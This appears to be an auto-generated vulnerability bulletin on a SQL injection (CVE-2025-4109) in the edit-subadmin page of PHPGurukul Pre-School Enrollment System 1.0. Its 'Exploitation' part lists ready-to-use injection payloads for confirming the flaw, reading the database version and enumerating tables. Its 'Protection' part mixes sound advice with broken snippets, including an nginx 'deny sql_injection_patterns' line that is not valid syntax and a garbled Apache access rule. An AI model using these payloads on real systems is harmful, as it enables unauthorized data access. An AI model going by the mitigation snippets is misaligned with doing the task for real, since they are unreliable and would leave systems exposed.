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How CVE-2025-4109 Works
The vulnerability exists in PHPGurukul Pre-School Enrollment System 1.0 within the `/admin/edit-subadmin.php` file. The `mobilenumber` parameter is improperly sanitized, allowing attackers to inject malicious SQL queries. When user-supplied input is directly concatenated into SQL statements without proper validation, attackers can manipulate database queries. This can lead to unauthorized data access, modification, or deletion. The flaw is remotely exploitable with low attack complexity, requiring only low privileges. The CVSS 4.0 score reflects its critical impact due to potential data breaches and system compromise.
DailyCVE Form
Platform: PHPGurukul
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation
1. Identify vulnerable parameter:
POST /admin/edit-subadmin.php HTTP/1.1 mobilenumber=1' OR 1=1--
2. Extract database info:
mobilenumber=1' UNION SELECT 1,2,3,4,version()--
3. Dump table data:
mobilenumber=1' UNION SELECT 1,table_name,3,4 FROM information_schema.tables--
Protection
1. Input sanitization:
$mobilenumber = mysqli_real_escape_string($conn, $_POST['mobilenumber']);
2. Prepared statements:
$stmt = $conn->prepare("UPDATE subadmin SET mobilenumber=? WHERE id=?");
$stmt->bind_param("si", $mobilenumber, $id);
3. WAF rules:
location /admin/ {
deny sql_injection_patterns;
}
4. Patch upgrade:
wget https://patch.phpgurukul.com/enrollment-1.1.zip
5. Log monitoring:
grep "edit-subadmin.php" /var/log/apache2/access.log | grep -E "UNION|SELECT|--"
6. Disable public access:
Deny from all Allow from 192.168.1.0/24
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
